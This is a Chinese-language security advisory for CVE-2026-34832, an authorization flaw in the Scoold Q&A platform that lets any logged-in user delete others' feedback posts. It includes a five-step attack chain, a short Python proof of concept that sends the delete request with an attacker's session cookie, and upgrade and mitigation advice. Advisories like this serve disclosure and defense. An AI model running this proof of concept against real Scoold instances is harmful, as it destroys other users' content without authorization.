IPBUF安全漏洞报告
English
CVE-2026-34832 CVSS 6.5 中危

CVE-2026-34832 Scoold认证后授权缺陷

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34832
漏洞类型
访问控制失效
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Scoold

相关标签

越权漏洞ScooldIDOR访问控制失效CVE-2026-34832

漏洞概述

Scoold是一个团队问答和知识共享平台。在1.66.1版本之前,该系统存在一个经过身份验证的授权缺陷。该漏洞允许任何登录的低权限用户通过向POST /feedback/{id}/delete端点发送请求,删除其他用户的反馈帖子。系统只验证了用户是否登录,未验证对象所有权或管理员权限,导致非特权账户可以删除受害者的反馈内容。

技术细节

该漏洞属于典型的越权漏洞,具体表现为访问控制失效(IDOR)。Scoold在实现删除反馈功能时,后端接口`POST /feedback/{id}/delete`存在逻辑缺陷。虽然系统强制要求用户通过身份认证,但忽略了授权验证。具体而言,服务器在接收删除请求时,仅确认了请求者当前持有有效的登录Session,未进一步比对请求者ID与反馈资源所有者ID,也未校验请求者是否具备管理员或版主权限。因此,攻击者无需交互,仅需利用一个低权限账户,遍历或枚举反馈ID并发送删除请求,即可导致系统内任意用户的反馈数据被非法删除,严重破坏了数据完整性。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Scoold平台,获取一个低权限用户的会话凭证(Session/Cookie)。
STEP 2
步骤2
攻击者通过浏览或枚举确定想要删除的目标反馈帖子的ID。
STEP 3
步骤3
攻击者构造HTTP POST请求,目标端点为 /feedback/{id}/delete,并在请求头中携带自己的会话凭证。
STEP 4
步骤4
服务器接收请求,验证请求者已通过身份认证,但未验证请求者是否为该反馈的所有者。
STEP 5
步骤5
服务器执行删除操作,目标反馈被从数据库中移除,导致数据完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def delete_feedback(target_url, feedback_id, session_cookie): """ PoC for CVE-2026-34832: Authenticated Authorization Bypass in Scoold This script attempts to delete a feedback item using a low-privilege user session. """ headers = { "Cookie": f"JSESSIONID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Construct the delete endpoint URL delete_url = f"{target_url}/feedback/{feedback_id}/delete" try: response = requests.post(delete_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully deleted feedback ID: {feedback_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to delete feedback. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Example usage TARGET = "http://localhost:8080" # Replace with actual Scoold instance URL VICTIM_FEEDBACK_ID = "12345" # Replace with target feedback ID ATTACKER_SESSION = "attacker_session_cookie_value" # Replace with low-privilege session delete_feedback(TARGET, VICTIM_FEEDBACK_ID, ATTACKER_SESSION)

影响范围

Scoold < 1.66.1

防御指南

临时缓解措施
建议管理员立即检查Scoold版本,若低于1.66.1应尽快升级。若无法立即升级,可临时通过Web应用防火墙(WAF)规则拦截对`/feedback/*/delete`路径的非管理员IP请求,或在应用层手动修补权限校验逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表